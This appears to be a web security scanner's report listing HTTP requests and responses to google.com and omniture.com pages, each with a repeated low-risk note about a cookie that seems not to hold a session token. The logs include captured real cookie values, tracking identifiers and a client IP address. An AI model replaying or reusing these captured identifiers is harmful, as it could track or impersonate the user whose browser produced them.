GET /setprefs?sig=0_wmOEOqCEugI_DX4CRMM9-gOiSPQ=&suggon=2&prev=http://www.google.com/search%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dmillenium%2Bboston HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.google.com/search?sou ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /de HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:52:35 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:52:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:52:35 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=2; expires=Sat, 05-Mar-2011 05:52:35 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:52:35 GMT; path=/; domain=omniture.com Content-Length: 37600
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//de" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="de" lang="de"> <head> <title>Webanalyse | Software zur Optim ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:51:49 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:51:49 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:51:49 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:51:49 GMT; path=/; domain=omniture.com Content-Length: 43417
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Online Marketing Suite po ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/ HTTP/1.1 Host: www.omniture.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerhttp_omniture=84542986.5892.0000; omniture_unique=c4b47f0affb47cea2cd263f6285f016c; cms_site_lang=1; use207=7; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cc=true; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; s_cid=natural_bookmark; mbox=check#true#1296661288|session#1296661217505-786518#1296663078|PC#1296661217505-786518.17#1299080421; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 15:39:36 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 15:39:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Wed, 02 Feb 2011 15:39:36 GMT Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 15:39:36 GMT; path=/; domain=omniture.com Content-Length: 43418
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Online Marketing Suite po ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/community HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:12:00 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:12:00 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:12:00 GMT Content-Length: 22345 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:12:00 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Community | Online Business Opt ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/community/blogs HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:13:08 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:13:08 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:13:08 GMT Content-Length: 29155 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:13:08 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Web Analytics | Online Business ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/community/events HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:13:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:13:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:13:29 GMT Content-Length: 21439 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:13:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Resources | Events</ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/community/usergroups HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:13:44 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:13:44 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:13:44 GMT Content-Length: 22243 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:13:44 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>User Groups | Omniture Communit ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/adobe_faq HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:38:35 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:38:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:38:35 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:38:35 GMT; path=/; domain=omniture.com Content-Length: 39899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Acquisitio ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/analyst_insight HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:43:05 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:43:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:43:06 GMT Content-Length: 24661 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:43:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Analyst Insight on SiteCatalyst ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/customers HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:40:15 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:40:15 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:40:16 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:40:15 GMT; path=/; domain=omniture.com Content-Length: 36431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Customer Showcase | Online Busi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/press_room HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:39:21 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:39:21 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:39:21 GMT Content-Length: 23937 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:39:21 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press | Online Busines ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/press_room/awards HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:40:05 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:40:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:40:05 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:40:05 GMT; path=/; domain=omniture.com Content-Length: 44076
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Award-Winning Innovation | Web ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/press_room/news HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:39:47 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:39:47 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:39:47 GMT Content-Length: 23629 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:39:47 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture in the News | Online B ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/press_room/press_releases HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:39:35 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:39:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:39:35 GMT Content-Length: 23061 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:39:35 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press | Online Busines ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:45:56 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:45:56 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:45:56 GMT Content-Length: 23242 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:45:56 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Web Analytic ...[SNIP]...
